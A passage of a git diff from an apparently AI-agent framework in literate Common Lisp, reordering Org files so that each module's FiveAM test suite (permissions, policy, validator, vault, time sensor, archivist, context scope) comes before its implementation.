+(in-suite permissions-suite) + +(test test-permission-round-trip + "Contract 1: permission-set stores a level; permission-get retrieves it." + (permission-set "test-tool" :allow) + (is (eq :allow (permission-get "test-tool"))) + ;; Clean up + (permission-set "test-tool" nil)) + +(test test-permission-default + "Contract 2: unregistered tools default to :ask." + (is (eq :ask (permission-get "never-registered-tool-xyz")))) + +(test test-permission-case-insensitive + "Contract 3: tool names are normalized to lowercase." + (permission-set :CapitalTool :deny) + (is (eq :deny (permission-get :capitaltool))) + (permission-set "CapitalTool" nil)) +#+end_src + * Implementation ** Package Context @@ -64,35 +97,3 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-permissions-tests - (:use :cl :fiveam :passepartout) - (:export #:permissions-suite)) - -(in-package :passepartout-security-permissions-tests) - -(def-suite permissions-suite :description "Verification of Tool Permissions") -(in-suite permissions-suite) - -(test test-permission-round-trip - "Contract 1: permission-set stores a level; permission-get retrieves it." - (permission-set "test-tool" :allow) - (is (eq :allow (permission-get "test-tool"))) - ;; Clean up - (permission-set "test-tool" nil)) - -(test test-permission-default - "Contract 2: unregistered tools default to :ask." - (is (eq :ask (permission-get "never-registered-tool-xyz")))) - -(test test-permission-case-insensitive - "Contract 3: tool names are normalized to lowercase." - (permission-set :CapitalTool :deny) - (is (eq :deny (permission-get :capitaltool))) - (permission-set "CapitalTool" nil)) -#+end_src diff --git a/org/security-policy.org b/org/security-policy.org index 54cb98d..4ef285c 100644 --- a/org/security-policy.org +++ b/org/security-policy.org @@ -24,38 +24,6 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha - Does NOT validate explanation quality — only length and presence. - Does NOT consider ~context~ — implementation ignores it currently. -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** Policy Logic (policy-compliance-check) -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun policy-compliance-check (action context) - "Enforces constitutional invariants on proposed actions." - (declare (ignore context)) - (let* ((payload (proto-get action :payload)) - (explanation (proto-get payload :explanation))) - (if (and explanation (stringp explanation) (> (length explanation) 10)) - action - (progn - (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-security-policy - :priority 500 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'policy-compliance-check) -#+end_src - * Test Suite #+begin_src lisp @@ -90,3 +58,36 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha (result (policy-compliance-check action nil))) (is (eq :LOG (getf result :type))))) #+end_src + +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** Policy Logic (policy-compliance-check) +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun policy-compliance-check (action context) + "Enforces constitutional invariants on proposed actions." + (declare (ignore context)) + (let* ((payload (proto-get action :payload)) + (explanation (proto-get payload :explanation))) + (if (and explanation (stringp explanation) (> (length explanation) 10)) + action + (progn + (log-message "POLICY VIOLATION: Action lacks sufficient explanation.") + (list :type :LOG + :payload (list :level :warn + :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning.")))))) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-security-policy + :priority 500 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic #'policy-compliance-check) +#+end_src + diff --git a/org/security-validator.org b/org/security-validator.org index 5008065..9ed4dd3 100644 --- a/org/security-validator.org +++ b/org/security-validator.org @@ -27,34 +27,6 @@ before they reach any cognitive stage. - Does NOT define the schema — that is ~core-transport.org~. - Does NOT validate semantic content — that is the Dispatcher and Policy. -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** Validation Logic -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun validator-protocol-check (msg) - "Enforces structural schema compliance on protocol messages." - (validate-communication-protocol-schema msg)) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-security-validator - :priority 95 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx)) - (handler-case - (progn (validator-protocol-check action) action) - (error (c) - (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) -#+end_src - * Test Suite #+begin_src lisp @@ -86,3 +58,32 @@ before they reach any cognitive stage. (signals error (validator-protocol-check msg)))) #+end_src + +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** Validation Logic +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun validator-protocol-check (msg) + "Enforces structural schema compliance on protocol messages." + (validate-communication-protocol-schema msg)) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-security-validator + :priority 95 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx)) + (handler-case + (progn (validator-protocol-check action) action) + (error (c) + (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c))))))) +#+end_src + diff --git a/org/security-vault.org b/org/security-vault.org index b9d6257..80ad058 100644 --- a/org/security-vault.org +++ b/org/security-vault.org @@ -35,6 +35,61 @@ through here. - Does NOT validate key format — the provider skill does that. - Does NOT rotate or expire keys — this is a simple store. +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-vault-tests + (:use :cl :fiveam :passepartout) + (:export #:vault-suite)) + +(in-package :passepartout-security-vault-tests) + +(def-suite vault-suite :description "Verification of the Credentials Vault") +(in-suite vault-suite) + +(test test-vault-round-trip + "Contract 1: vault-set stores a value; vault-get retrieves it." + (let ((test-key :vault-test-round-trip) + (test-secret "secret-abc123")) + (vault-set test-key test-secret) + (is (string= test-secret (vault-get test-key))) + ;; Clean up + (vault-set test-key nil))) + +(test test-vault-missing-key + "Contract 2: vault-get returns NIL for an unset, unknown provider." + (is (null (vault-get :nonexistent-provider-xyz)))) + +(test test-vault-isolation + "Contract 5: storing for provider A does not affect provider B." + (vault-set :vault-prov-a "secret-a") + (vault-set :vault-prov-b "secret-b") + (is (string= "secret-a" (vault-get :vault-prov-a))) + (is (string= "secret-b" (vault-get :vault-prov-b))) + (vault-set :vault-prov-a nil) + (vault-set :vault-prov-b nil)) + +(test test-vault-secret-wrappers + "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." + (let ((test-provider :vault-secret-test)) + (vault-set-secret test-provider "my-token") + (is (string= "my-token" (vault-get-secret test-provider))) + ;; Clean up + (vault-set-secret test-provider nil))) + +(test test-vault-type-isolation + "Contract 5: different :type values produce different keys." + (vault-set :vault-type-test "key-value" :type :api-key) + (vault-set :vault-type-test "secret-value" :type :secret) + (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) + (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) + (vault-set :vault-type-test nil :type :api-key) + (vault-set :vault-type-test nil :type :secret)) +#+end_src + * Implementation ** Package Context @@ -103,57 +158,3 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-vault-tests - (:use :cl :fiveam :passepartout) - (:export #:vault-suite)) - -(in-package :passepartout-security-vault-tests) - -(def-suite vault-suite :description "Verification of the Credentials Vault") -(in-suite vault-suite) - -(test test-vault-round-trip - "Contract 1: vault-set stores a value; vault-get retrieves it." - (let ((test-key :vault-test-round-trip) - (test-secret "secret-abc123")) - (vault-set test-key test-secret) - (is (string= test-secret (vault-get test-key))) - ;; Clean up - (vault-set test-key nil))) - -(test test-vault-missing-key - "Contract 2: vault-get returns NIL for an unset, unknown provider." - (is (null (vault-get :nonexistent-provider-xyz)))) - -(test test-vault-isolation - "Contract 5: storing for provider A does not affect provider B." - (vault-set :vault-prov-a "secret-a") - (vault-set :vault-prov-b "secret-b") - (is (string= "secret-a" (vault-get :vault-prov-a))) - (is (string= "secret-b" (vault-get :vault-prov-b))) - (vault-set :vault-prov-a nil) - (vault-set :vault-prov-b nil)) - -(test test-vault-secret-wrappers - "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret." - (let ((test-provider :vault-secret-test)) - (vault-set-secret test-provider "my-token") - (is (string= "my-token" (vault-get-secret test-provider))) - ;; Clean up - (vault-set-secret test-provider nil))) - -(test test-vault-type-isolation - "Contract 5: different :type values produce different keys." - (vault-set :vault-type-test "key-value" :type :api-key) - (vault-set :vault-type-test "secret-value" :type :secret) - (is (string= "key-value" (vault-get :vault-type-test :type :api-key))) - (is (string= "secret-value" (vault-get :vault-type-test :type :secret))) - (vault-set :vault-type-test nil :type :api-key) - (vault-set :vault-type-test nil :type :secret)) -#+end_src \ No newline at end of file diff --git a/org/sensor-time.org b/org/sensor-time.org index 56cf146..ff907f1 100644 --- a/org/sensor-time.org +++ b/org/sensor-time.org @@ -26,6 +26,77 @@ All pure Lisp, 0 LLM tokens for temporal awareness. ~:SCHEDULED~ properties. If any are within ~DEADLINE_WARNING_MINUTES~, returns a formatted deadline note string. Returns nil otherwise. +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-sensor-time-tests + (:use :cl :fiveam :passepartout) + (:export #:sensor-time-suite)) + +(in-package :passepartout-sensor-time-tests) + +(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") +(in-suite sensor-time-suite) + +(test test-format-time-for-llm-includes-year + "Contract 1: format-time-for-llm returns a string with the current year." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "202" result)) + (is (search "TIME" result)))) + +(test test-format-time-for-llm-utc + "Contract 1: iso format includes Z suffix." + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "Z" result)))) + +(test test-format-time-for-llm-natural + "Contract 1: natural format produces human-readable date." + (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) + (unwind-protect + (progn + (setf (uiop:getenv "TIME_FORMAT") "natural") + (let ((result (passepartout::format-time-for-llm))) + (is (stringp result)) + (is (search "UTC" result)))) + (setf (uiop:getenv "TIME_FORMAT") old-env)))) + +(test test-format-time-for-llm-with-session + "Contract 1: with session duration, includes session info." + (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) + (is (search "1h 2m" result)))) + +(test test-session-duration + "Contract 2: session-duration returns a positive number after init." + (passepartout::sensor-time-initialize) + (let ((dur (passepartout::session-duration))) + (is (numberp dur)) + (is (>= dur 0)))) + +(test test-sensor-time-tick-empty + "Contract 3: sensor-time-tick returns nil when no deadlines are near." + (clrhash passepartout::*memory-store*) + (let ((result (passepartout::sensor-time-tick))) + (is (null result)))) + +(test test-sensor-time-tick-detects-deadline + "Contract 3: sensor-time-tick detects a deadline close in time." + (clrhash passepartout::*memory-store*) + (setf passepartout::*deadline-warning-minutes* 120) + (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago + (ingest-ast (list :type :HEADLINE + :properties (list :ID "deadline-test" + :TITLE "Submit report" + :DEADLINE (write-to-string near-future-time)) + :contents nil))) + (let ((result (passepartout::sensor-time-tick))) + (is (not (null result))) + (is (search "Submit report" result)))) +#+end_src + * Implementation ** Package context @@ -145,73 +216,3 @@ Called by the time-tick cron job every minute." (sensor-time-initialize) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-sensor-time-tests - (:use :cl :fiveam :passepartout) - (:export #:sensor-time-suite)) - -(in-package :passepartout-sensor-time-tests) - -(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines") -(in-suite sensor-time-suite) - -(test test-format-time-for-llm-includes-year - "Contract 1: format-time-for-llm returns a string with the current year." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "202" result)) - (is (search "TIME" result)))) - -(test test-format-time-for-llm-utc - "Contract 1: iso format includes Z suffix." - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "Z" result)))) - -(test test-format-time-for-llm-natural - "Contract 1: natural format produces human-readable date." - (let ((old-env (or (uiop:getenv "TIME_FORMAT") ""))) - (unwind-protect - (progn - (setf (uiop:getenv "TIME_FORMAT") "natural") - (let ((result (passepartout::format-time-for-llm))) - (is (stringp result)) - (is (search "UTC" result)))) - (setf (uiop:getenv "TIME_FORMAT") old-env)))) - -(test test-format-time-for-llm-with-session - "Contract 1: with session duration, includes session info." - (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720))) - (is (search "1h 2m" result)))) - -(test test-session-duration - "Contract 2: session-duration returns a positive number after init." - (passepartout::sensor-time-initialize) - (let ((dur (passepartout::session-duration))) - (is (numberp dur)) - (is (>= dur 0)))) - -(test test-sensor-time-tick-empty - "Contract 3: sensor-time-tick returns nil when no deadlines are near." - (clrhash passepartout::*memory-store*) - (let ((result (passepartout::sensor-time-tick))) - (is (null result)))) - -(test test-sensor-time-tick-detects-deadline - "Contract 3: sensor-time-tick detects a deadline close in time." - (clrhash passepartout::*memory-store*) - (setf passepartout::*deadline-warning-minutes* 120) - (let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago - (ingest-ast (list :type :HEADLINE - :properties (list :ID "deadline-test" - :TITLE "Submit report" - :DEADLINE (write-to-string near-future-time)) - :contents nil))) - (let ((result (passepartout::sensor-time-tick))) - (is (not (null result))) - (is (search "Submit report" result)))) -#+end_src diff --git a/org/symbolic-archivist.org b/org/symbolic-archivist.org index 6dd7d88..0174d20 100644 --- a/org/symbolic-archivist.org +++ b/org/symbolic-archivist.org @@ -27,6 +27,48 @@ events, performing two core functions: 5. (archivist-gardener-scan): heartbeat-driven — scans for broken file links and orphaned memory objects. +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-symbolic-archivist-tests + (:use :cl :passepartout) + (:export #:archivist-suite)) + +(in-package :passepartout-symbolic-archivist-tests) + +(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") +(fiveam:in-suite archivist-suite) + +(fiveam:test test-extract-headlines + "Contract 1: archivist-extract-headlines parses Org content." + (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) + (headlines (archivist-extract-headlines content))) + (fiveam:is (listp headlines)) + (fiveam:is (>= (length headlines) 1)))) + +(fiveam:test test-headline-to-filename + "Contract 2: archivist-headline-to-filename sanitizes titles." + (let ((filename (archivist-headline-to-filename "My Project: Overview"))) + (fiveam:is (search "my_project_overview" filename :test #'char-equal)) + (fiveam:is (not (search ":" filename))))) + +(fiveam:test test-archivist-create-note + "Contract 3: archivist-create-note writes a Zettelkasten note to disk." + (let* ((tmp-dir "/tmp/passepartout-archivist-test/") + (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (unwind-protect + (progn + (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) + "Expected note creation to return T") + (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) + "Expected file test_note.org to exist")) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) +#+end_src + * Implementation ** Package Context @@ -338,44 +380,3 @@ and dispatches as needed. Called by the deterministic gate." :deterministic #'archivist-run) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-symbolic-archivist-tests - (:use :cl :passepartout) - (:export #:archivist-suite)) - -(in-package :passepartout-symbolic-archivist-tests) - -(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") -(fiveam:in-suite archivist-suite) - -(fiveam:test test-extract-headlines - "Contract 1: archivist-extract-headlines parses Org content." - (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) - (headlines (archivist-extract-headlines content))) - (fiveam:is (listp headlines)) - (fiveam:is (>= (length headlines) 1)))) - -(fiveam:test test-headline-to-filename - "Contract 2: archivist-headline-to-filename sanitizes titles." - (let ((filename (archivist-headline-to-filename "My Project: Overview"))) - (fiveam:is (search "my_project_overview" filename :test #'char-equal)) - (fiveam:is (not (search ":" filename))))) - -(fiveam:test test-archivist-create-note - "Contract 3: archivist-create-note writes a Zettelkasten note to disk." - (let* ((tmp-dir "/tmp/passepartout-archivist-test/") - (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (unwind-protect - (progn - (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) - "Expected note creation to return T") - (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) - "Expected file test_note.org to exist")) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) -#+end_src \ No newline at end of file diff --git a/org/symbolic-awareness.org b/org/symbolic-awareness.org index daf9413..f754707 100644 --- a/org/symbolic-awareness.org +++ b/org/symbolic-awareness.org @@ -41,6 +41,77 @@ The effectiveness of this depends on the embedding backend. The default ~:trigra 2. (context-assemble-global-awareness): zero-arg wrapper — calls ~context-awareness-assemble~ without foveal focus. +* Test Suite +Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-peripheral-vision-tests + (:use :cl :fiveam :passepartout) + (:export #:vision-suite)) +(in-package :passepartout-peripheral-vision-tests) + +(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") +(in-suite vision-suite) + +(test test-foveal-rendering + "Contract 1: foveal content inline, peripheral content title-only." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") + :raw-content "FOVEAL CONTENT" :contents nil) + (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") + :raw-content "PERIPHERAL CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) + (is (search "FOVEAL CONTENT" output)) + (is (search "* Peripheral Node" output)) + (is (not (search "PERIPHERAL CONTENT" output)))))) + +(test test-awareness-budget + "Contract 1: all active projects appear in awareness output." + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) + (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) + (let ((output (context-awareness-assemble))) + (is (search "Project 1" output)) + (is (search "Project 2" output)))) + +(test test-context-empty-memory + "Contract 1: empty memory produces clean output without error." + (clrhash passepartout::*memory-store*) + (let ((output (context-awareness-assemble))) + (is (stringp output)) + (is (search "MEMEX" output :test #'char-equal)))) + +(test test-context-no-foveal-focus + "Contract 2: without foveal focus, no inline content appears." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") + :raw-content "CHILD CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble nil))) + (is (stringp output)) + (is (not (search "CHILD CONTENT" output)))))) + +(test test-semantic-retrieval-trigram + "Contract v0.4.0: trigram backend produces non-zero similarity for related content." + (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) + (v2 (passepartout::embedding-backend-trigram "add password authentication"))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.0)))) + (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) + (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) + (let ((sim (passepartout::vector-cosine-similarity v3 v4))) + (is (> sim 0.75)))) + (let ((v5 (passepartout::embedding-backend-trigram "authentication")) + (v6 (passepartout::embedding-backend-trigram "banana"))) + (let ((sim (passepartout::vector-cosine-similarity v5 v6))) + (is (< sim 0.3))))) +#+end_src + * Implementation ** Package Context @@ -311,73 +382,3 @@ to ~context-awareness-assemble~. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite -Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-peripheral-vision-tests - (:use :cl :fiveam :passepartout) - (:export #:vision-suite)) -(in-package :passepartout-peripheral-vision-tests) - -(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") -(in-suite vision-suite) - -(test test-foveal-rendering - "Contract 1: foveal content inline, peripheral content title-only." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") - :raw-content "FOVEAL CONTENT" :contents nil) - (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") - :raw-content "PERIPHERAL CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) - (is (search "FOVEAL CONTENT" output)) - (is (search "* Peripheral Node" output)) - (is (not (search "PERIPHERAL CONTENT" output)))))) - -(test test-awareness-budget - "Contract 1: all active projects appear in awareness output." - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) - (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) - (let ((output (context-awareness-assemble))) - (is (search "Project 1" output)) - (is (search "Project 2" output)))) - -(test test-context-empty-memory - "Contract 1: empty memory produces clean output without error." - (clrhash passepartout::*memory-store*) - (let ((output (context-awareness-assemble))) - (is (stringp output)) - (is (search "MEMEX" output :test #'char-equal)))) - -(test test-context-no-foveal-focus - "Contract 2: without foveal focus, no inline content appears." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") - :raw-content "CHILD CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble nil))) - (is (stringp output)) - (is (not (search "CHILD CONTENT" output)))))) - -(test test-semantic-retrieval-trigram - "Contract v0.4.0: trigram backend produces non-zero similarity for related content." - (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) - (v2 (passepartout::embedding-backend-trigram "add password authentication"))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.0)))) - (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) - (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) - (let ((sim (passepartout::vector-cosine-similarity v3 v4))) - (is (> sim 0.75)))) - (let ((v5 (passepartout::embedding-backend-trigram "authentication")) - (v6 (passepartout::embedding-backend-trigram "banana"))) - (let ((sim (passepartout::vector-cosine-similarity v5 v6))) - (is (< sim 0.3))))) -#+end_src diff --git a/org/symbolic-scope.org b/org/symbolic-scope.org index a683cb6..ccd1814 100644 --- a/org/symbolic-scope.org +++ b/org/symbolic-scope.org @@ -14,6 +14,73 @@ The core provides the mechanism (=memory-object-scope=, =context-query= with scope parameter). This skill provides the policy — what to focus on, what scope means for each project, and how the stack is managed. +** Contract + +1. (push-context &key project base-path scope): pushes a context plist + onto ~*context-stack*~. Blocks if depth exceeds ~*context-max-depth*~. +2. (pop-context): pops and returns the top context. If the stack would + become empty, inserts a default memex-wide context instead. +3. (current-context): returns the top-of-stack context plist. +4. (current-scope): returns the ~:scope~ keyword from the current context. +5. (current-project): returns the ~:project~ name from the current context. +6. (current-base-path): returns the ~:base-path~ from the current context. +7. (context-stack-depth): returns the number of contexts on the stack. +8. (focus-project name base-path): pushes a new context for the named + project. Sets ~*scope-resolver*~ to return ~:project~. +9. (focus-session): pushes an ephemeral context for the current session. +10. (focus-memex): pushes a global memex-wide context. +11. (unfocus): pops one level from the context stack. +12. (resolve-path path): resolves a path relative to the current base-path. +13. (context-scoped-query &key tag todo-state type): queries memory filtered + by the current context's scope. +14. (context-save): persists the context stack to disk. +15. (context-load): restores the context stack from disk on startup. + +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-context-tests + (:use :cl :passepartout) + (:export #:context-suite)) + +(in-package :passepartout-context-tests) + +(fiveam:def-suite context-suite :description "Context manager verification") +(fiveam:in-suite context-suite) + +(fiveam:test test-push-pop-context + "Contract 1-2: push-context and pop-context maintain stack order." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when stack-var + (setf (symbol-value stack-var) nil) + (push-context :project "testapp" :base-path "/tmp" :scope :project) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) + (pop-context) + (fiveam:is (null (symbol-value stack-var)))))) + +(fiveam:test test-context-save-load + "Contract 3-4: context-save and context-load round-trip." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when (and stack-var pf-var) + (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) + (setf (symbol-value pf-var) tmpfile) + (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) + (context-save) + (fiveam:is (probe-file tmpfile)) + (setf (symbol-value stack-var) nil) + (context-load) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) + (ignore-errors (delete-file tmpfile)))))) +#+end_src + * Implementation ** Context Stack @@ -297,47 +364,3 @@ Also restores any previously saved context stack. 3. (context-save): serializes ~*context-stack*~ to the persistence file. 4. (context-load): restores ~*context-stack*~ from persistence file on boot. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-context-tests - (:use :cl :passepartout) - (:export #:context-suite)) - -(in-package :passepartout-context-tests) - -(fiveam:def-suite context-suite :description "Context manager verification") -(fiveam:in-suite context-suite) - -(fiveam:test test-push-pop-context - "Contract 1-2: push-context and pop-context maintain stack order." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when stack-var - (setf (symbol-value stack-var) nil) - (push-context :project "testapp" :base-path "/tmp" :scope :project) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) - (pop-context) - (fiveam:is (null (symbol-value stack-var)))))) - -(fiveam:test test-context-save-load - "Contract 3-4: context-save and context-load round-trip." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when (and stack-var pf-var) - (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) - (setf (symbol-value pf-var) tmpfile) - (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) - (context-save) - (fiveam:is (probe-file tmpfile)) - (setf (symbol-value stack-var) nil) - (context-load) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) - (ignore-errors (delete-file tmpfile)))))) -#+end_src \ No newline at end of file diff --git a/org/symbolic-time-memory.org b/org/symbolic-time-memory.org index a6a5de8..84f6e6b 100644 --- a/org/symbolic-time-memory.org +++ b/org/symbolic-time-memory.org @@ -24,6 +24,59 @@ tokens. ~90% token reduction on time-scoped memory queries. ~context-query~ with temporal filtering. Falls back to ~context-query~ for non-time-scoped queries. +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-time-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:time-memory-suite)) + +(in-package :passepartout-time-memory-tests) + +(def-suite time-memory-suite :description "Temporal memory filtering") +(in-suite time-memory-suite) + +(test test-memory-objects-since + "Contract 1: ingest at T0 